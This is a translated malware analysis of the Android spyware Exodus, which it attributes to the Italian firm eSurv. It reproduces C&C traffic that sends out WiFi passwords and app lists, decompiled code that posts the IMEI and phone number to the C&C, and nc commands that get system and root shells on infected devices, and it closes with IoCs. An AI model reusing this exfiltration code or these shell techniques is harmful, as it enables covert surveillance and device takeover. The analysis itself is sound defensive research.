新型Android间谍软件Exodus(下)

Change 移动安全 2019年4月4日发布
Favorite收藏

导语:Security Without Borders团队在收集了2016年到2019年初的大量样本后确定了一个新的Android间谍软件平台,并将其命名为Exodus,它由被称为Exodus One和Exodus Two的两个阶段组成。

如前所述,我们的测试设备从第一阶段到第二阶段都是自动被收集数据的。例如,手机使用的WiFi网络的密码使用文件名格式DD_MM_2019_HH_mm_ss_XXXXXXXXXXXXX.txt.crypt(IMEI后面的日期时间)存储在文件夹/storage/emulated/0/.lost+found/0BBDA068-9D27-4B55-B226-299FCF2B4242/中。最后,我们观察到代理将我们的测试手机中的WiFi密码泄露给了C&C服务器:

PUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
DETAILS: {"date":"[REDACTED]","imei":"[REDACTED]","filenameb64":"[REDACTED]\u003d\u003d","filepathb64":"[REDACTED]\u003d","fileDirectoryb64":"[REDACTED]\u003d","uploadType":"WIFIPASSWORD","encrypted":true}
Content-Type: application/octet-stream
Content-Length: 277
Host: ws.my-local-weather.com
Connection: Keep-Alive
Accept-Encoding: gzip
 
l.9TqRuosV..~.:. ...` [REDACTED] ....s)Sp.^...5z..d0pRu
 
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jan 2019 15:53:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
 
OK

同样,代理会向C&C服务器发送已安装的应用程序列表:

PUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
DETAILS: {"date":"[REDACTED]","imei":"[REDACTED]","filenameb64":"[REDACTED]\u003d\u003d","filepathb64":"[REDACTED]\u003d\u003d","fileDirectoryb64":"[REDACTED]\u003d","uploadType":"APPLIST","encrypted":true}
Content-Type: application/octet-stream
Content-Length: 11502
Host: ws.my-local-weather.com
Connection: Keep-Alive
Accept-Encoding: gzip
 
(..5."...0...gVE^[email protected]^&Q....9.ua8.+WCQ%]T^Q.
.UYY.R][V.0.5.6...1]0P&.pYM.0AFZ[W~Q[S.
 
[REDACTED]
 
<...wIwR;.|...2_P.UWTBY_P.FKZR.1P$.7..]6.;E5.&.M_wEPAGP_^xWYR....]a.`\cG][email protected]$...<\[p[]U...
Jh
 
HTTP/1.1 200 OK
Server: nginx
Date: [REDACTED]
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

该C&C服务器从2017年4月起就一直处于活跃状态,并且是模拟合法服务AccuWeather进行注册的。

Registrant Name: AccuWeather, Inc.
Registrant Organization: AccuWeather, Inc.
Registrant Street: 385 SCIENCE PARK RD
Registrant City: STATE COLLEGE
Registrant State/Province: PA
Registrant Postal Code: 16803-2215
Registrant Country: US
Registrant Phone: +1.8142358528
Registrant Phone Ext:
Registrant Fax: +1.8142358528
Registrant Fax Ext:
Registrant Email: [email protected][.]com

本地和远程shell

为了在受感染的设备上执行命令,以及为C&C服务器的运营人员提供一个反向shell, Exodus Two会尝试执行它下载的名为null的payload。一旦启动,null将首先通过检查本地端口号6842是否可用,来验证它是否能够在系统中复制,以及当前是否有自身的其他实例在运行。

然后,此payload将尝试在端口22011上将远程reverse / system / bin / sh shell实例化到C&C服务器ws.my-local-weather [.] com中。值得注意的是,这个远程反向shell不使用任何传输密码,因此可能会受到中间人的攻击:

4.png

同时,null也将绑定0.0.0.0:6842上的本地shell。Exodus Two将使用此本地端口在Android设备上执行各种命令,例如启用或禁用某些服务,或解析应用程序数据库。然而,将shell绑定到所有可用的接口上,显然会使任何与受感染设备共享本地网络的人都可以访问它。例如,如果受感染的设备连接到公共Wi-Fi网络,任何其他主机都可以通过连接端口获得设备上的终端,而无需任何形式的身份验证。

[email protected]:~$ nc 192.168.1.99 6842 -v
Connection to 192.168.1.99 6842 port [tcp/*] succeeded!
[email protected]:/ $ id
id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0

如果移动运营商没有对客户端实施适当的隔离,那么受感染的设备也有可能暴露在蜂窝网络的其他部分。

显然,这不仅让设备面临着数据泄露问题,还面临数据被篡改的风险。

null并不是打开手机shell的唯一payload。实际上,rootdaemon二进制文件提供了执行命令的其他几种可能性,只需连接到TCP端口6200:

1. 将命令sh发送到TCP端口6200会完整复制一个终端:

[email protected]:~$ nc 192.168.1.99 6200
sh
[email protected]:/ $ id
id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0
[email protected]:/ $

2. 发送cmd命令,一个正确的终端命令将会对它执行,并打印输出(在本例中,我们使用id,它显示运行发出命令的系统用户的身份):

[email protected]:~$ nc 192.168.1.99 6200
cmd id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0

3. 执行与上面相同的操作,但是使用命令sucmd将以root身份运行终端命令:

$ nc 192.168.1.99 6200
sucmd id
uid=0(root) gid=0(root) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0

TCP端口6200上的rootdaemon支持的其他命令有su(在我们的测试中没有正确工作)、loadsocketpolicy、loadfilepolicy、remount和removeroot。

下面是同一本地网络中一台笔记本电脑对受感染的Android设备进行的nmap扫描的输出,这进一步证明了我们提到的相同开放TCP端口的可用性:

[email protected]:~$ nmap 192.168.1.99 -p6000-7000
 
Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-28 17:12 CET
Nmap scan report for android-[REDACTED] (192.168.1.99)
Host is up (0.035s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
6200/tcp open  lm-x
6201/tcp open  thermo-calc
6205/tcp open  unknown
6209/tcp open  qmtps
6211/tcp open  unknown
6212/tcp open  unknown
6842/tcp open  netmo-http
 
Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds

eSurv的识别过程

意大利语

我们获得的第一批间谍软件样本乍看之下并没有显示出与任何公司的明显关联。然而,无论是在Google Play商店页面上还是在间谍软件代码中,一直存在的意大利语都是一个明显的迹象,表明这个平台的创建的背后有一个意大利人在参与。Exodus Two classes.dex反编译中的一些特定单词也让我们更加确信了这一点。

a("MUNDIZZA", "09081427-FE30-46B7-BFC6-50425D3F85CC", ".*", false);
this.b.info("UPLOADSERVICE Aggiunti i file mundizza. Dimensione coda upload {}", Integer.valueOf(this.c.size()));

“Mundizza”是意大利语单词“immondizia”的衍生词,用英语翻译成“垃圾”或“垃圾”。有趣的是,“mundizza”是典型的意大利南部卡拉布里亚地区的方言词,更具体地说,它似乎属于卡坦扎罗市。

 此外,Exodus One的一些副本使用以下XOR键:

char[] cArr = new char[]{'R', 'I', 'N', 'O', ' ', 'G', 'A', 'T', 'T', 'U', 'S', 'O'};

Rino Gattuso是一位着名的退役意大利足球运动员,来自卡拉布里亚。

虽然这种推论并不严谨,但这些因素让我们把研究范围缩小到了该区域的公司。 

基础设施重合

在Google Play商店中找到的几个恶意应用程序中,其配置的命令和控制域ws.my-local-weather [.] com都指向IP地址54.69.156.31,该地址提供自签名TLS证书,证书通用名为MyCert,指纹为11:41:45:2F:A7:07:23:54:AE:9A:CE:F4:FE:56:AE:AC:B1:C2:15:9F:6A:FC:1E:CC:7D:F8:61:E3:25:26:73:6A。

利用互联网扫描服务Censys搜索这个证书指纹,会返回8个额外的服务器:

IP address
34.208.71.9
34.212.92.0
34.216.43.114
52.34.144.229
54.69.156.31
54.71.249.137
54.189.5.198
78.5.0.195
207.180.245.74

在浏览器中打开C&C服务器web页面会出现一个基本的身份验证提示:

5.png

关闭此验证,服务器将发送“401未经授权的响应”和“访问被拒绝”的意大利语消息。

6.png

我们发现所有IP地址共享同一个TLS证书。C&C服务器还显示了一个看起来像一个橙色小球的图标。在Shodan上使用http.favicon.hash:990643579对图标进行反向搜索后,返回大约40个使用相同图标的Web服务器。

7.png

8.png

其中许多服务器是由意大利公司eSurv开发的视频监控系统控制面板,该公司总部位于意大利卡拉布里亚的卡坦扎罗。

9.png

eSurv的产品包括闭路电视管理系统、无人侦察机、人脸和车牌识别系统。并且,eSurv的图标与C&C服务器的图标相同。

10.png

11.png

旧样本分析

最后,谷歌与我们分享了一些更老的Exodus One样本(散列为2055584625d24687bd027a63bc0b8d1a854a7d1a854a840a52b1d2f和a37f5d2418c5f64d06ba28fe62edee1293a56158ddfa9f04020e16054363f),这些样本没有混淆,并且使用了以下伪装:

12.png

这些旧样本的配置与较新的样本非常相似,但它提供没被混淆的视角:

package com.vend.management.carrier.mylibrary;public class Configuration {
    public static final String BUNDLE_CUSTOM_FILENAME = "D10CEE67-E1EF-4C17-96DC-BEB51B0A9A55";
    public static final String BUNDLE_UNIVERSAL_FILENAME = "AD9FF676-875E-4294-A230-44EA1A4B15A1";
    public static final String CERT_STRING_B64 = "MIIDxzCCAq+gAwIBAgIJAM6NZPKxJWOzMA0GCSqGSIb3DQEBCwUAMHoxCzAJBgNVBAYTAkNOMRYwFAYDVQQIDA1GdW5nIFNoYW5nIEhvMRIwEAYDVQQHDAlIb25nIEtvbmcxGjAYBgNVBAoMEUNoaW5hIFRlbGVjb20gTHRkMSMwIQYDVQQDDBowMGludGVybmV0LWRldmVsLmlub2t1LmNvbTAeFw0xNjAzMTcxNTMwMTNaFw0yNjAzMTUxNTMwMTNaMHoxCzAJBgNVBAYTAkNOMRYwFAYDVQQIDA1GdW5nIFNoYW5nIEhvMRIwEAYDVQQHDAlIb25nIEtvbmcxGjAYBgNVBAoMEUNoaW5hIFRlbGVjb20gTHRkMSMwIQYDVQQDDBowMGludGVybmV0LWRldmVsLmlub2t1LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMIJIK4rWDHeEnhjS5efXW2bpiX45BXaKPvULox4dzYiBUllFSAB4MujX3CZgu/fbBgNgIAV2n7h+KHfrBxlU0K9orIaZGEpiWLIJIXwS/1RY4dXnIdKmU2Dwogm9ZnJlzPLjJVM2iFDXj9dAm008PRo6UvGJ5g3GCs1xtCFErfDLvFiM2/hnlEPZtMFmLXonnQAALTjLwz+gD35IwFRiKgizDM0b0ZIhvMV+HPE/Zjot2rfsV/JI/uwvECVxUZNjs5GIMO2TwZAaK+B/PdLJY6iTcnmoxVscEXTDeYPpxu7o+R3GgbOYi1JOSBlDV3xAZhCdT5EHuoaWbyLJpm9xpkCAwEAAaNQME4wHQYDVR0OBBYEFMxK8XlJ1hzBGBvtwJL72q5Zk/hnMB8GA1UdIwQYMBaAFMxK8XlJ1hzBGBvtwJL72q5Zk/hnMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJNvLXlxhBpu96dpPWqfvqkpf6iuByGr/VWgouJmh06g5/u4AgOYqhiZjJ1sm/yLt4/xnFDpwZIFVB7kDslXAgjim2eK5OIENigcrR6xcI+e/sd/PkGUlfEuKq8AZ+GUd4Ju2TK+ee7kh1keJKngRmLTo6Zk/G9iD2XycryUI3sjhx5UWGyZ+PNowDcGTjTPOQCLb9YXLPxS0zSEVQ55JJfabBlsmpFp/ePyEE240eiEW9DKKktKqK9KNjthExaCPnG3w00y6QTpkRQhY/rUord+/bHDuZ2Wk5dxOW1QK+Kjl1EJrDD+MBBlILgG82/gyiDaDSpEWfbn1O8KuieMxHk=";
    public static final String EXPLOIT_ARM = "07DD890F-8495-4E74-826F-BF7AED84B351";
    public static final String EXPLOIT_I686 = "6F6F8F3F-7996-44B4-AD92-4BB03D02D926";
    public static final String HOST_DIRECTORY = "/7e661733-e332-429a-a7e2-23649f27690f/";
    public static final String HOST_IP = "attiva.exodus.esurv.it";
    public static final String HOST_WS_BUNDLE1 = "B45551E5-8B53-4960-8B47-041A46D1B954";
    public static final String HOST_WS_BUNDLE2 = "6AD98532-7605-4DB0-9CE4-56816B203DBD";
    public static final String HOST_WS_INIT = "7acbff64-7a3a-4ebd-8997-4839b5937024";
    public static final String KEY_STRING_B64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7k5xg4sfzLcucmXE24jsI3fJ2+4vt3wVCR0WA3hfqDdlOx7EHWTKues1MLY1Cps8Y3nVId3E7GtzjTTlI++eHcoEd3eVXWdnGRtci+MB8O89HWLqhqCds/FmTkG4rdSF7oTlTcrKKwRs6QLqZceCQo00S9DXMNXIXOflXa4DTzH0LqlPcq8QTQGNKp8InC0fDsP02kGC4dNk1yNxCfJvVmXp06fYoLFrqYCofoBMkRkWTpTb83ibwdmE3LrzVLDwVNJHDCglgPKHvCPFex9+NRZIdzSDE6GxbuT+l+VbPYg8BpXjEtr68k81ZLFSnKrdSJLqtuJ0LvaTzEYxRikzzwIDAQAB";
    public static final String PLACEHOLDER_AFTER_FIRST_EXECUTION = "5CBAECF0-6D42-430C-99AD-9493EC45C566";
    public static final String UNZIPPED_FOLDER = "BD014144-796E-41B0-89C5-2EEC42765254";}

首先,我们可以注意到,这些样本是与位于attiva. us.esurv[.]it的C&C服务器通信(“attiva”在意大利语中是“激活”的意思)。

public static final String HOST_IP = "attiva.exodus.esurv.it";

此C&C服务器的域名也是我们把间谍软件命名为“exodus”的由来。

下面是旧样本的Exodus One中的代码片段,与C&C服务器的连接:

final byte[] encryptedBytes = StepOneCipher().doFinal((" " + "#" + imei + "#" + versione + "#" + telefono).getBytes());
final Request request = new Request.Builder().url("https://attiva.exodus.esurv.it/7e661733-e332-429a-a7e2-23649f27690f/7acbff64-7a3a-4ebd-8997-4839b5937024.php").post(RequestBody.create(MTYPE, encryptedBytes)).build();

而mike.jar中对C&C服务器的请求则几乎完全相同(也包含路径7e661733-e332-429a-a7e2-23649f27690f):

if (bArr == null) {
    bArr = l.c().doFinal((" " + "#" + deviceId + "#" + str3 + "#" + telephonyManager.getLine1Number()).getBytes());
}
Response execute = build.newCall(new Request.Builder().url("https://ws.my-local-weather[.]com/7e661733-e332-429a-a7e2-23649f27690f/" + str2 + ".php").post(RequestBody.create(a, bArr)).build()).execute();

为了进一步证实Exodus间谍软件与eSurv的关联,我们对域名attiva.exodus.esurv.it做了解析,解析后的域名为IP 212.47.242.236,根据公共被动DNS数据,该域名在2017年被用来托管server1cs. us.connexxa.it。Connexxa也是一家来自卡坦扎罗的公司。根据公开的信息,Connexxa的创始人似乎也是eSurv的CEO。

有趣的是,我们发现其他DNS记录大多来自2017年,它们遵循类似的模式,似乎包含意大利地区的两个字母代码:

1.png

最后的线索——一封公开的员工简历

此外,eSurv的一名员工在一份公开的简历中相当准确地描述了他们在开发“从Android设备收集数据并将其发送到C&C服务器的代理程序”,以及研究“移动设备(主要是Android)中的漏洞”方面的工作。其中的进一步细节反映出exodus特点(如我们在Exodus One中描述的绕过电源管理器等):

13.png

IoC

Exodus One

· 011b6bcebd543d4eb227e840f04e188fb01f2335b0b81684b60e6b45388d3820
· 0f5f1409b1ebbee4aa837d20479732e11399d37f05b47b5359dc53a4001314e5
· 2055584625d24687bd027a63bc0b8faa7d1a854a535de74afba24840a52b1d2f
· 26fef238028ee4b5b8da631c77bfb44ada3d5db8129c45dea5df6a51c9ea5f55
· 33a9da16d096426c82f150e39fc4f9172677885cfeaedcff10c86414e88be802
· 34d000ee1e36efd10eb37e2b79d69249d5a85682a61390a89a1b9391c46bf2ba
· 4f6146956b50ae3a6e80a1c1f771dba848ba677064eb0e166df5804ac2766898
· 5db49122d866967295874ab2c1ce23a7cde50212ff044bbea1da9b49bb9bc149
· 70e2eea5609c6954c61f2e5e0a3aea832d0643df93d18d7d78b6f9444dcceef0
· 80810a8ec9624f317f832ac2e212dba033212258285344661e5da11b0d9f0b62
· 8453ce501fee1ca8a321f16b09969c517f92a24b058ac5b54549eabd58bf1884
· a37f5d2418c5f2f64d06ba28fe62edee1293a56158ddfa9f04020e316054363f
· db59407f72666526fca23d31e3b4c5df86f25eff178e17221219216c6975c63f
· e0acbb0d7e55fb67e550a6bf5cf5c499a9960eaf5f037b785f9004585202593b

Exodus One Package Names

· com.phonecarrier.linecheck
· rm.rf
· operatore.italia
· it.offertetelefonicheperte
· it.servizipremium
· assistenza.sim
· assistenza.linea.riattiva
· assistenza.linea
· it.promofferte

Exodus Two

· 64c11fdb317d6b7c9930e639f55863df592f23f3c7c861ddd97048891a90c64b
· a42a05bf9b412cd84ea92b166d790e8e72f1d01764f93b05ace62237fbabe40e

Exodus Two ELF Utilities

· 00c787c0c0bc26caf623e66373a5aaa1b913b9caee1f34580bdfdd21954b7cc4
· 11499ff2418f4523344de81a447f6786fdba4982057d4114f64db929990b4b59
· 13ec6cec511297ac3137cf7d6e4a7c4f5dd2b24478a06262a44f13a3d61070b6
· 3c9f08b3280851f54414dfa5a57f40d3b7be7b73736fa0ba21b078e75ce54d33
· 3ee3a973c62ba5bd9eab595a7c94b7a26827c5fa5b21964d511ab58903929ec5
· 47449a612697ad99a6fbd6e02a84e957557371151f2b034a411ebb10496648c8
· 48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88
· 824ad333320cbb7873dc49e61c14f749b0e0d88723635524463f2e6f56ea133a
· b46f282f9a1bce3798faee3212e28924730a657eb93cda3824c449868b6ee2e7
· c228a534535b22a316a97908595a2d793d0fecabadc32846c6d1bfb08ca9a658
· e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
· e3f65f84dd6c2c3a5a653a3788d78920c0321526062a6b53daaf23fa57778a5f

Command & Controls

· ad1.fbsba[.]com
· ws.my-local-weather[.]com
· 54.71.249[.]137
· 54.69.156[.]31
· 162.243.172[.]208
· attiva.exodus.esurv[.]it

本文翻译自:https://securitywithoutborders.org/blog/2019/03/29/exodus.html如若转载,请注明原文地址: https://www.4hou.com/mobile/17168.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论